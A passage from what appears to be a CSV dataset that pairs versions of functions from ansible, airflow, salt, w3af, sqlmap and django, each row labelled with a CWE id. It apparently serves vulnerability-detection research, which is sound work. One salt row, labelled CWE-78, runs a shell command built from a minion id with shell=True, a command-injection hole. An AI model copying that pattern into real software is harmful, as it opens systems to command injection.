        supports_check_mode=True
    )

    params = module.params
    state = params['state']
    recurse = params['recurse']
    force = params['force']
    diff_peek = params['diff_peek']
    src = params['src']
    b_src = to_bytes(src, errors='surrogate_or_strict')
    follow = params['follow']

    # modify source as we later reload and pass, specially relevant when used by other modules.
    path = params['path']
    b_path = to_bytes(path, errors='surrogate_or_strict')

    # short-circuit for diff_peek
    if diff_peek is not None:
        appears_binary = False
        try:
            f = open(b_path, 'rb')
            head = f.read(8192)
            f.close()
            if b(""\x00"") in head:
                appears_binary = True
        except:
            pass
        module.exit_json(path=path, changed=False, appears_binary=appears_binary)

    prev_state = get_state(b_path)

    # state should default to file, but since that creates many conflicts,
    # default to 'current' when it exists.
    if state is None:
        if prev_state != 'absent':
            state = prev_state
        elif recurse:
            state = 'directory'
        else:
            state = 'file'

    # source is both the source of a symlink or an informational passing of the src for a template module
    # or copy module, even if this module never uses it, it is needed to key off some things
    if src is None:
        if state in ('link', 'hard'):
            if follow and state == 'link':
                # use the current target of the link as the source
                src = to_native(os.path.realpath(b_path), errors='strict')
                b_src = to_bytes(os.path.realpath(b_path), errors='strict')
            else:
                module.fail_json(msg='src and dest are required for creating links')

    # original_basename is used by other modules that depend on file.
    if state not in (""link"", ""absent"") and os.path.isdir(b_path):
        basename = None
        if params['original_basename']:
            basename = params['original_basename']
        elif src is not None:
            basename = os.path.basename(src)
        if basename:
            params['path'] = path = os.path.join(path, basename)
            b_path = to_bytes(path, errors='surrogate_or_strict')
            prev_state = get_state(b_path)

    # make sure the target path is a directory when we're doing a recursive operation
    if recurse and state != 'directory':
        module.fail_json(path=path, msg=""recurse option requires state to be 'directory'"")

    file_args = module.load_file_common_arguments(params)

    changed = False
    diff = {'before': {'path': path},
            'after': {'path': path},
            }

    state_change = False
    if prev_state != state:
        diff['before']['state'] = prev_state
        diff['after']['state'] = state
        state_change = True

    if state == 'absent':
        if state_change:
            if not module.check_mode:
                if prev_state == 'directory':
                    try:
                        shutil.rmtree(b_path, ignore_errors=False)
                    except Exception as e:
                        module.fail_json(msg=""rmtree failed: %s"" % to_native(e))
                else:
                    try:
                        os.unlink(b_path)
                    except Exception as e:
                        module.fail_json(path=path, msg=""unlinking failed: %s "" % to_native(e))
            module.exit_json(path=path, changed=True, diff=diff)
        else:
            module.exit_json(path=path, changed=False)

    elif state == 'file':

        if state_change:
            if follow and prev_state == 'link':
                # follow symlink and operate on original
                b_path = os.path.realpath(b_path)
                path = to_native(b_path, errors='strict')
                prev_state = get_state(b_path)
                file_args['path'] = path

        if prev_state not in ('file', 'hard'):
            # file is not absent and any other state is a conflict
            module.fail_json(path=path, msg='file (%s) is %s, cannot continue' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(path=path, changed=changed, diff=diff)

    elif state == 'directory':
        if follow and prev_state == 'link':
            b_path = os.path.realpath(b_path)
            path = to_native(b_path, errors='strict')
            prev_state = get_state(b_path)

        if prev_state == 'absent':
            if module.check_mode:
                module.exit_json(changed=True, diff=diff)
            changed = True
            curpath = ''

            try:
                # Split the path so we can apply filesystem attributes recursively
                # from the root (/) directory for absolute paths or the base path
                # of a relative path.  We can then walk the appropriate directory
                # path to apply attributes.
                for dirname in path.strip('/').split('/'):
                    curpath = '/'.join([curpath, dirname])
                    # Remove leading slash if we're creating a relative path
                    if not os.path.isabs(path):
                        curpath = curpath.lstrip('/')
                    b_curpath = to_bytes(curpath, errors='surrogate_or_strict')
                    if not os.path.exists(b_curpath):
                        try:
                            os.mkdir(b_curpath)
                        except OSError as ex:
                            # Possibly something else created the dir since the os.path.exists
                            # check above. As long as it's a dir, we don't need to error out.
                            if not (ex.errno == errno.EEXIST and os.path.isdir(b_curpath)):
                                raise
                        tmp_file_args = file_args.copy()
                        tmp_file_args['path'] = curpath
                        changed = module.set_fs_attributes_if_different(tmp_file_args, changed, diff, expand=False)
            except Exception as e:
                module.fail_json(path=path, msg='There was an issue creating %s as requested: %s' % (curpath, to_native(e)))

        # We already know prev_state is not 'absent', therefore it exists in some form.
        elif prev_state != 'directory':
            module.fail_json(path=path, msg='%s already exists as a %s' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)

        if recurse:
            changed |= recursive_set_attributes(module, to_bytes(file_args['path'], errors='surrogate_or_strict'), follow, file_args)

        module.exit_json(path=path, changed=changed, diff=diff)

    elif state in ('link', 'hard'):

        if not os.path.islink(b_path) and os.path.isdir(b_path):
            relpath = path
        else:
            b_relpath = os.path.dirname(b_path)
            relpath = to_native(b_relpath, errors='strict')

        absrc = os.path.join(relpath, src)
        b_absrc = to_bytes(absrc, errors='surrogate_or_strict')
        if not force and not os.path.exists(b_absrc):
            module.fail_json(path=path, src=src, msg='src file does not exist, use ""force=yes"" if you really want to create the link: %s' % absrc)

        if state == 'hard':
            if not os.path.isabs(b_src):
                module.fail_json(msg=""absolute paths are required"")
        elif prev_state == 'directory':
            if not force:
                module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))
            elif os.listdir(b_path):
                # refuse to replace a directory that has files in it
                module.fail_json(path=path, msg='the directory %s is not empty, refusing to convert it' % path)
        elif prev_state in ('file', 'hard') and not force:
            module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))

        if prev_state == 'absent':
            changed = True
        elif prev_state == 'link':
            b_old_src = os.readlink(b_path)
            if b_old_src != b_src:
                diff['before']['src'] = to_native(b_old_src, errors='strict')
                diff['after']['src'] = src
                changed = True
        elif prev_state == 'hard':
            if not (state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino):
                changed = True
                if not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        elif prev_state == 'file':
            changed = True
            if not force:
                module.fail_json(dest=path, src=src, msg='Cannot link, %s exists at destination' % prev_state)
        elif prev_state == 'directory':
            changed = True
            if os.path.exists(b_path):
                if state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino:
                    module.exit_json(path=path, changed=False)
                elif not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        else:
            module.fail_json(dest=path, src=src, msg='unexpected position reached')

        if changed and not module.check_mode:
            if prev_state != 'absent':
                # try to replace atomically
                b_tmppath = to_bytes(os.path.sep).join(
                    [os.path.dirname(b_path), to_bytes("".%s.%s.tmp"" % (os.getpid(), time.time()))]
                )
                try:
                    if prev_state == 'directory' and state == 'link':
                        os.rmdir(b_path)
                    elif prev_state == 'directory' and state == 'hard':
                        if os.path.exists(b_path):
                            os.remove(b_path)
                    if state == 'hard':
                        os.link(b_src, b_tmppath)
                    else:
                        os.symlink(b_src, b_tmppath)
                    os.rename(b_tmppath, b_path)
                except OSError as e:
                    if os.path.exists(b_tmppath):
                        os.unlink(b_tmppath)
                    module.fail_json(path=path, msg='Error while replacing: %s' % to_native(e, nonstring='simplerepr'))
            else:
                try:
                    if state == 'hard':
                        os.link(b_src, b_path)
                    else:
                        os.symlink(b_src, b_path)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while linking: %s' % to_native(e, nonstring='simplerepr'))

        if module.check_mode and not os.path.exists(b_path):
            module.exit_json(dest=path, src=src, changed=changed, diff=diff)

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(dest=path, src=src, changed=changed, diff=diff)

    elif state == 'touch':
        if not module.check_mode:

            if prev_state == 'absent':
                try:
                    open(b_path, 'wb').close()
                except (OSError, IOError) as e:
                    module.fail_json(path=path, msg='Error, could not touch target: %s' % to_native(e, nonstring='simplerepr'))
            elif prev_state in ('file', 'directory', 'hard'):
                try:
                    os.utime(b_path, None)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while touching existing target: %s' % to_native(e, nonstring='simplerepr'))
            else:
                module.fail_json(msg='Cannot touch other than files, directories, and hardlinks (%s is %s)' % (path, prev_state))
            try:
                module.set_fs_attributes_if_different(file_args, True, diff, expand=False)
            except SystemExit as e:
                if e.code:
                    # We take this to mean that fail_json() was called from
                    # somewhere in basic.py
                    if prev_state == 'absent':
                        # If we just created the file we can safely remove it
                        os.remove(b_path)
                raise e

        module.exit_json(dest=path, changed=True, diff=diff)

    module.fail_json(path=path, msg='unexpected position reached')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def _build_link(match_obj):
            text = match_obj.group(1)
            url = match_obj.group(2)

            # parsing the url to check if it's a valid url
            parsed_url = urlparse(url)
            if not (parsed_url.scheme == ""http"" or parsed_url.scheme == ""https""):
                # returning the original raw text
                return escape(match_obj.group(0))

            return Markup(f'<a href=""{url}"" target=""_blank"" rel=""noopener noreferrer"">{text}</a>')",CWE-Unknown,apache/airflow,270aa1138bbd263a912c15bf1e451f4731f34af8,"def _build_link(match_obj):
            text = match_obj.group(1)
            url = match_obj.group(2)

            # parsing the url to check if ita a valid url
            parsed_url = urlparse(url)
            if not (parsed_url.scheme == ""http"" or parsed_url.scheme == ""https""):
                # returning the original raw text
                return escape(match_obj.group(0))

            return Markup(f'<a href=""{url}"">{text}</a>')"
,UNKNOWN,UNKNOWN,tests/auth/managers/simple/test_simple_auth_manager.py,1,"def test_init_with_users(self, auth_manager_with_appbuilder):
        auth_manager_with_appbuilder.appbuilder.app.config[""SIMPLE_AUTH_MANAGER_USERS""] = [
            {
                ""username"": ""test"",
                ""role"": ""admin"",
            }
        ]
        auth_manager_with_appbuilder.init()
        with open(SimpleAuthManager.GENERATED_PASSWORDS_FILE) as file:
            passwords_str = file.read().strip()
            user_passwords_from_file = json.loads(passwords_str)

            assert len(user_passwords_from_file) == 1",CWE-703,apache/airflow,3d2f9c11d15e17fe047845a0b17452aeeb058d66,"def test_init_with_users(self, auth_manager_with_appbuilder):
        auth_manager_with_appbuilder.appbuilder.app.config[""SIMPLE_AUTH_MANAGER_USERS""] = [
            {
                ""username"": ""test"",
                ""role"": ""admin"",
            }
        ]
        auth_manager_with_appbuilder.init()
        with open(SimpleAuthManager.GENERATED_PASSWORDS_FILE) as file:
            passwords_str = file.read().strip()
            user_passwords_from_file = json.loads(passwords_str)

            assert len(user_passwords_from_file) == 1"
,UNKNOWN,UNKNOWN,providers/tests/edge/cli/test_edge_command.py,1,"def test_write_pid_to_pidfile_created_by_crashed_instance(tmp_path):
    # write a PID file with process ID 0
    with patch(""os.getpid"", return_value=0):
        pid_file_path = tmp_path / ""file.pid""
        _write_pid_to_pidfile(pid_file_path)
        assert pid_file_path.read_text().strip() == ""0""
    # write a PID file with the current process ID, call should not raise an exception
    _write_pid_to_pidfile(pid_file_path)
    assert str(os.getpid()) == pid_file_path.read_text().strip()",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_write_pid_to_pidfile_created_by_crashed_instance(tmp_path):
    # write a PID file with process ID 0
    with patch(""os.getpid"", return_value=0):
        pid_file_path = tmp_path / ""file.pid""
        _write_pid_to_pidfile(pid_file_path)
        assert ""0"" == pid_file_path.read_text().strip()
    # write a PID file with the current process ID, call should not raise an exception
    _write_pid_to_pidfile(pid_file_path)
    assert str(os.getpid()) == pid_file_path.read_text().strip()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/utils/display.py,0,"def _read_non_blocking_stdin(
        self,
        echo=False,  # type: bool
        seconds=None,  # type: int
        interrupt_input=None,  # type: t.Iterable[bytes]
        complete_input=None,  # type: t.Iterable[bytes]
    ):  # type: (...) -> bytes

        if self._final_q:
            raise NotImplementedError

        if seconds is not None:
            start = time.time()
        if interrupt_input is None:
            try:
                interrupt = termios.tcgetattr(sys.stdin.buffer.fileno())[6][termios.VINTR]
            except Exception:
                interrupt = b'\x03'  # value for Ctrl+C

        try:
            backspace_sequences = [termios.tcgetattr(self._stdin_fd)[6][termios.VERASE]]
        except Exception:
            # unsupported/not present, use default
            backspace_sequences = [b'\x7f', b'\x08']

        result_string = b''
        while seconds is None or (time.time() - start < seconds):
            key_pressed = None
            try:
                os.set_blocking(self._stdin_fd, False)
                while key_pressed is None and (seconds is None or (time.time() - start < seconds)):
                    key_pressed = self._stdin.read(1)
                    # throttle to prevent excess CPU consumption
                    time.sleep(C.DEFAULT_INTERNAL_POLL_INTERVAL)
            finally:
                os.set_blocking(self._stdin_fd, True)
                if key_pressed is None:
                    key_pressed = b''

            if (interrupt_input is None and key_pressed == interrupt) or (interrupt_input is not None and key_pressed.lower() in interrupt_input):
                clear_line(self._stdout)
                raise AnsiblePromptInterrupt('user interrupt')
            if (complete_input is None and key_pressed in (b'\r', b'\n')) or (complete_input is not None and key_pressed.lower() in complete_input):
                clear_line(self._stdout)
                break
            elif key_pressed in backspace_sequences:
                clear_line(self._stdout)
                result_string = result_string[:-1]
                if echo:
                    self._stdout.write(result_string)
                self._stdout.flush()
            else:
                result_string += key_pressed
        return result_string",,ansible/ansible,194f829b0f9b91cc279d402c18a6934c6e7d0911,"def _read_non_blocking_stdin(
        self,
        echo=False,  # type: bool
        seconds=None,  # type: int
        interrupt_input=None,  # type: t.Iterable[bytes]
        complete_input=None,  # type: t.Iterable[bytes]
    ):  # type: (...) -> bytes

        if self._final_q:
            raise NotImplementedError

        if seconds is not None:
            start = time.time()
        if interrupt_input is None:
            try:
                interrupt = termios.tcgetattr(sys.stdin.buffer.fileno())[6][termios.VINTR]
            except Exception:
                interrupt = b'\x03'  # value for Ctrl+C

        try:
            backspace_sequences = [termios.tcgetattr(self._stdin_fd)[6][termios.VERASE]]
        except Exception:
            # unsupported/not present, use default
            backspace_sequences = [b'\x7f', b'\x08']

        result_string = b''
        while seconds is None or (time.time() - start < seconds):
            key_pressed = None
            try:
                os.set_blocking(self._stdin_fd, False)
                while key_pressed is None and (seconds is None or (time.time() - start < seconds)):
                    key_pressed = self._stdin.read(1)
            finally:
                os.set_blocking(self._stdin_fd, True)
                if key_pressed is None:
                    key_pressed = b''

            if (interrupt_input is None and key_pressed == interrupt) or (interrupt_input is not None and key_pressed.lower() in interrupt_input):
                clear_line(self._stdout)
                raise AnsiblePromptInterrupt('user interrupt')
            if (complete_input is None and key_pressed in (b'\r', b'\n')) or (complete_input is not None and key_pressed.lower() in complete_input):
                clear_line(self._stdout)
                break
            elif key_pressed in backspace_sequences:
                clear_line(self._stdout)
                result_string = result_string[:-1]
                if echo:
                    self._stdout.write(result_string)
                self._stdout.flush()
            else:
                result_string += key_pressed
        return result_string"
,UNKNOWN,UNKNOWN,tests/pytests/unit/test_ext_importers.py,1,"def test_tornado_import_override(tmp_path):
    """"""
    Ensure we are not using any non vendor'ed tornado
    """"""
    test_source = """"""
    from __future__ import absolute_import, print_function
    import salt
    import tornado
    print(tornado.__name__)
    """"""
    tornado_source = """"""
    foo = 'bar'
    """"""
    with pytest.helpers.temp_file(
        ""test.py"", directory=tmp_path, contents=test_source
    ) as test_source_path, pytest.helpers.temp_file(
        ""tornado.py"", directory=tmp_path, contents=tornado_source
    ):
        env = os.environ.copy()
        env[""PYTHONPATH""] = os.pathsep.join(sys.path)
        ret = subprocess.run(
            [sys.executable, str(test_source_path)],
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
            env=env,
            shell=False,
            check=False,
            universal_newlines=True,
        )
        assert ret.returncode == 0
        if salt.USE_VENDORED_TORNADO:
            assert ret.stdout.strip() == ""salt.ext.tornado""
        else:
            assert ret.stdout.strip() == ""tornado""",CWE-703,saltstack/salt,d1f514ad76a02764aa2962b446d35f658f43e9b8,"def test_tornado_import_override(tmp_path):
    """"""
    Ensure we are not using any non vendor'ed tornado
    """"""
    test_source = """"""
    from __future__ import absolute_import, print_function
    import salt
    import tornado
    print(tornado.__name__)
    """"""
    tornado_source = """"""
    foo = 'bar'
    """"""
    with pytest.helpers.temp_file(
        ""test.py"", directory=tmp_path, contents=test_source
    ) as test_source_path, pytest.helpers.temp_file(
        ""tornado.py"", directory=tmp_path, contents=tornado_source
    ):
        env = os.environ.copy()
        env[""PYTHONPATH""] = os.pathsep.join(sys.path)
        ret = subprocess.run(
            [sys.executable, str(test_source_path)],
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
            env=env,
            shell=False,
            check=False,
            universal_newlines=True,
        )
        assert ret.returncode == 0
        assert ret.stdout.strip() == ""salt.ext.tornado"""
,UNKNOWN,UNKNOWN,tests/providers/microsoft/azure/hooks/test_azure_synapse.py,1,"def setup_module():
    connection_client_secret = Connection(
        conn_id=DEFAULT_CONNECTION_CLIENT_SECRET,
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""tenantId"": ""tenantId"",
                ""subscriptionId"": ""subscriptionId"",
            }
        ),
    )
    connection_default_credential = Connection(
        conn_id=DEFAULT_CONNECTION_DEFAULT_CREDENTIAL,
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        extra=json.dumps(
            {
                ""subscriptionId"": ""subscriptionId"",
            }
        ),
    )
    connection_missing_subscription_id = Connection(
        conn_id=""azure_synapse_missing_subscription_id"",
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""tenantId"": ""tenantId"",
            }
        ),
    )
    connection_missing_tenant_id = Connection(
        conn_id=""azure_synapse_missing_tenant_id"",
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""subscriptionId"": ""subscriptionId"",
            }
        ),
    )

    db.merge_conn(connection_client_secret)
    db.merge_conn(connection_default_credential)
    db.merge_conn(connection_missing_subscription_id)
    db.merge_conn(connection_missing_tenant_id)",CWE-259,apache/airflow,8da1ff573bf598225f79899636efa0f9c55c4881,"def setup_module():
    connection_client_secret = Connection(
        conn_id=DEFAULT_CONNECTION_CLIENT_SECRET,
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""extra__azure_synapse__tenantId"": ""tenantId"",
                ""extra__azure_synapse__subscriptionId"": ""subscriptionId"",
            }
        ),
    )
    connection_default_credential = Connection(
        conn_id=DEFAULT_CONNECTION_DEFAULT_CREDENTIAL,
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        extra=json.dumps(
            {
                ""extra__azure_synapse__subscriptionId"": ""subscriptionId"",
            }
        ),
    )
    connection_missing_subscription_id = Connection(
        conn_id=""azure_synapse_missing_subscription_id"",
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""extra__azure_synapse__tenantId"": ""tenantId"",
            }
        ),
    )
    connection_missing_tenant_id = Connection(
        conn_id=""azure_synapse_missing_tenant_id"",
        conn_type=""azure_synapse"",
        host=""https://testsynapse.dev.azuresynapse.net"",
        login=""clientId"",
        password=""clientSecret"",
        extra=json.dumps(
            {
                ""extra__azure_synapse__subscriptionId"": ""subscriptionId"",
            }
        ),
    )

    db.merge_conn(connection_client_secret)
    db.merge_conn(connection_default_credential)
    db.merge_conn(connection_missing_subscription_id)
    db.merge_conn(connection_missing_tenant_id)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/timezone.py,0,"def get_zone():
    '''
    Get current timezone (i.e. America/Denver)

    CLI Example:

    .. code-block:: bash

        salt '*' timezone.get_zone
    '''
    cmd = ''
    if salt.utils.which('timedatectl'):
        ret = __salt__['cmd.run_all'](['timedatectl'], python_shell=False)

        if ret['retcode'] > 0:
            msg = 'timedatectl failed: {0}'.format(ret['stderr'])
            raise CommandExecutionError(msg)

        for line in (x.strip() for x in ret['stdout'].splitlines()):
            try:
                return re.match(r'Time ?zone:\s+(\S+)', line).group(1)
            except AttributeError:
                pass
        raise CommandExecutionError(
            'Failed to parse timedatectl output, this is likely a bug'
        )
    else:
        if __grains__['os'].lower() == 'centos':
            return _get_zone_etc_localtime()
        os_family = __grains__['os_family']
        for family in ('RedHat', 'Suse'):
            if family in os_family:
                return _get_zone_sysconfig()
        for family in ('Debian', 'Gentoo'):
            if family in os_family:
                return _get_zone_etc_timezone()
        if os_family in ('FreeBSD', 'OpenBSD', 'NetBSD'):
            return _get_zone_etc_localtime()
        elif 'Solaris' in os_family:
            return _get_zone_solaris()
    raise CommandExecutionError('Unable to get timezone')",,saltstack/salt,a158cd50e63c533e88e119bf0003c82b1103da6b,"def get_zone():
    '''
    Get current timezone (i.e. America/Denver)

    CLI Example:

    .. code-block:: bash

        salt '*' timezone.get_zone
    '''
    cmd = ''
    if salt.utils.which('timedatectl'):
        out = __salt__['cmd.run'](['timedatectl'], python_shell=False)
        for line in (x.strip() for x in out.splitlines()):
            try:
                return re.match(r'Time ?zone:\s+(\S+)', line).group(1)
            except AttributeError:
                pass
        raise CommandExecutionError(
            'Failed to parse timedatectl output, this is likely a bug'
        )
    else:
        if __grains__['os'].lower() == 'centos':
            return _get_zone_etc_localtime()
        os_family = __grains__['os_family']
        for family in ('RedHat', 'Suse'):
            if family in os_family:
                return _get_zone_sysconfig()
        for family in ('Debian', 'Gentoo'):
            if family in os_family:
                return _get_zone_etc_timezone()
        if os_family in ('FreeBSD', 'OpenBSD', 'NetBSD'):
            return _get_zone_etc_localtime()
        elif 'Solaris' in os_family:
            return _get_zone_solaris()
    raise CommandExecutionError('Unable to get timezone')"
,UNKNOWN,UNKNOWN,salt/tops/ext_nodes.py,1,"def top(**kwargs):
    '''
    Run the command configured
    '''
    if 'id' not in kwargs['opts']:
        return {}
    cmd = '{0} {1}'.format(
            __opts__['master_tops']['ext_nodes'],
            kwargs['opts']['id']
            )
    ndata = yaml.safe_load(
            subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE
                ).communicate()[0])
    if not ndata:
        log.info('master_tops ext_nodes call did not return any data')
    ret = {}
    if 'environment' in ndata:
        env = ndata['environment']
    else:
        env = 'base'

    if 'classes' in ndata:
        if isinstance(ndata['classes'], dict):
            ret[env] = list(ndata['classes'])
        elif isinstance(ndata['classes'], list):
            ret[env] = ndata['classes']
        else:
            return ret
    else:
        log.info('master_tops ext_nodes call did not have a dictionary with a ""classes"" key.')

    return ret",CWE-78,saltstack/salt,6089e410b829f61661db193411aa6b2875d27636,"def top(**kwargs):
    '''
    Run the command configured
    '''
    if not 'id' in kwargs['opts']:
        return {}
    cmd = '{0} {1}'.format(
            __opts__['master_tops']['ext_nodes'],
            kwargs['opts']['id']
            )
    ndata = yaml.safe_load(
            subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE
                ).communicate()[0])
    if not ndata:
        log.info('master_tops ext_nodes call did not return any data')
    ret = {}
    if 'environment' in ndata:
        env = ndata['environment']
    else:
        env = 'base'

    if 'classes' in ndata:
        if isinstance(ndata['classes'], dict):
            ret[env] = list(ndata['classes'])
        elif isinstance(ndata['classes'], list):
            ret[env] = ndata['classes']
        else:
            return ret
    else:
        log.info('master_tops ext_nodes call did not have a dictionary with a ""classes"" key.')

    return ret"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/console/tests/test_scan_run.py,0,"def test_SQL_scan(self):
        target = 'http://moth/w3af/audit/sql_injection/select/sql_injection_string.php'
        qs = '?name=andres'
        commands_to_run = ['plugins',
                           'output console,text_file',
                           'output config text_file',
                           'set output_file %s' % self.OUTPUT_FILE,
                           'set http_output_file %s' % self.OUTPUT_HTTP_FILE,
                           'set verbose True', 'back',
                           'output config console',
                           'set verbose False', 'back',
                           'audit sqli',
                           'crawl web_spider',
                           'crawl config web_spider',
                           'set only_forward True', 'back',
                           'grep path_disclosure',
                           'back',
                           'target',
                           'set target %s%s' % (target, qs), 'back',
                           'start',
                           'exit']

        expected = ('SQL injection in ',
                    'A SQL error was found in the response supplied by ',
                    'New URL found by web_spider plugin: ""%s""' % target)

        self.console = ConsoleUI(commands=commands_to_run, do_upd=False)
        self.console.sh()

        self.assertTrue(self.startswith_expected_in_output(expected),
                        self._mock_stdout.messages)

        found_errors = self.error_in_output(['No such file or directory',
                                             'Exception'])

        self.assertFalse(found_errors)",,andresriancho/w3af,bb681c29e3dbc481e8cdb24288ffb8852c4354db,"def test_SQL_scan(self):
        target = 'http://moth/w3af/audit/sql_injection/select/sql_injection_string.php'
        qs = '?name=andres'
        commands_to_run = ['plugins',
                           'output console,text_file',
                           'output config text_file',
                           'set fileName %s' % self.OUTPUT_FILE,
                           'set httpFileName %s' % self.OUTPUT_HTTP_FILE,
                           'set verbose True', 'back',
                           'output config console',
                           'set verbose False', 'back',
                           'audit sqli',
                           'crawl web_spider',
                           'crawl config web_spider',
                           'set only_forward True', 'back',
                           'grep path_disclosure',
                           'back',
                           'target',
                           'set target %s%s' % (target, qs), 'back',
                           'start',
                           'exit']

        expected = ('SQL injection in ',
                    'A SQL error was found in the response supplied by ',
                    'New URL found by web_spider plugin: ""%s""' % target)

        self.console = ConsoleUI(commands=commands_to_run, do_upd=False)
        self.console.sh()

        self.assertTrue(self.startswith_expected_in_output(expected),
                        self._mock_stdout.messages)

        found_errors = self.error_in_output(['No such file or directory',
                                             'Exception'])

        self.assertFalse(found_errors)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/session.py,0,"def setInjection(inj):
    """"""
    Save information retrieved about injection place and parameter in the
    session file.
    """"""

    if inj.place == PLACE.UA:
        inj.parameter = conf.agent

    condition = (
                  ( not kb.resumedQueries
                  or ( kb.resumedQueries.has_key(conf.url) and
                  ( not kb.resumedQueries[conf.url].has_key(""Injection point"")
                  or not kb.resumedQueries[conf.url].has_key(""Injection parameter"")
                  ) ) )
                )

    if condition:
        dataToSessionFile(""[%s][%s][%s][Injection point][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.place))
        dataToSessionFile(""[%s][%s][%s][Injection parameter][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.parameter))
        dataToSessionFile(""[%s][%s][%s][Injection parameter type][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.PARAMETER[inj.ptype]))
        dataToSessionFile(""[%s][%s][%s][Injection prefix][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.prefix))
        dataToSessionFile(""[%s][%s][%s][Injection suffix][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.suffix))

        for stype, sdata in inj.data.items():
            dataToSessionFile(""[%s][%s][%s][Injection type][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype]))
            dataToSessionFile(""[%s][%s][%s][Injection title][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[0]))
            dataToSessionFile(""[%s][%s][%s][Injection payload][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[1]))
            dataToSessionFile(""[%s][%s][%s][Injection where][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[2]))
            dataToSessionFile(""[%s][%s][%s][Injection comment][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[3]))",,sqlmapproject/sqlmap,c8f943f5e4c2f035753a415f703aad4518e17dc4,"def setInjection(inj):
    """"""
    Save information retrieved about injection place and parameter in the
    session file.
    """"""

    if inj.place == PLACE.UA:
        inj.parameter = conf.agent

    condition = (
                  ( not kb.resumedQueries
                  or ( kb.resumedQueries.has_key(conf.url) and
                  ( not kb.resumedQueries[conf.url].has_key(""Injection point"")
                  or not kb.resumedQueries[conf.url].has_key(""Injection parameter"")
                  ) ) )
                )

    if condition:
        dataToSessionFile(""[%s][%s][%s][Injection point][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.place))
        dataToSessionFile(""[%s][%s][%s][Injection parameter][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.parameter))
        dataToSessionFile(""[%s][%s][%s][Injection parameter type][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.PARAMETER[inj.ptype]))
        dataToSessionFile(""[%s][%s][%s][Injection prefix][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.prefix))
        dataToSessionFile(""[%s][%s][%s][Injection suffix][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.suffix))

        for stype, sdata in inj.data.items():
            dataToSessionFile(""[%s][%s][%s][Injection type][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype]))
            dataToSessionFile(""[%s][%s][%s][Injection payload][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[0]))
            dataToSessionFile(""[%s][%s][%s][Injection comment][%s]\n"" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[1]))"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
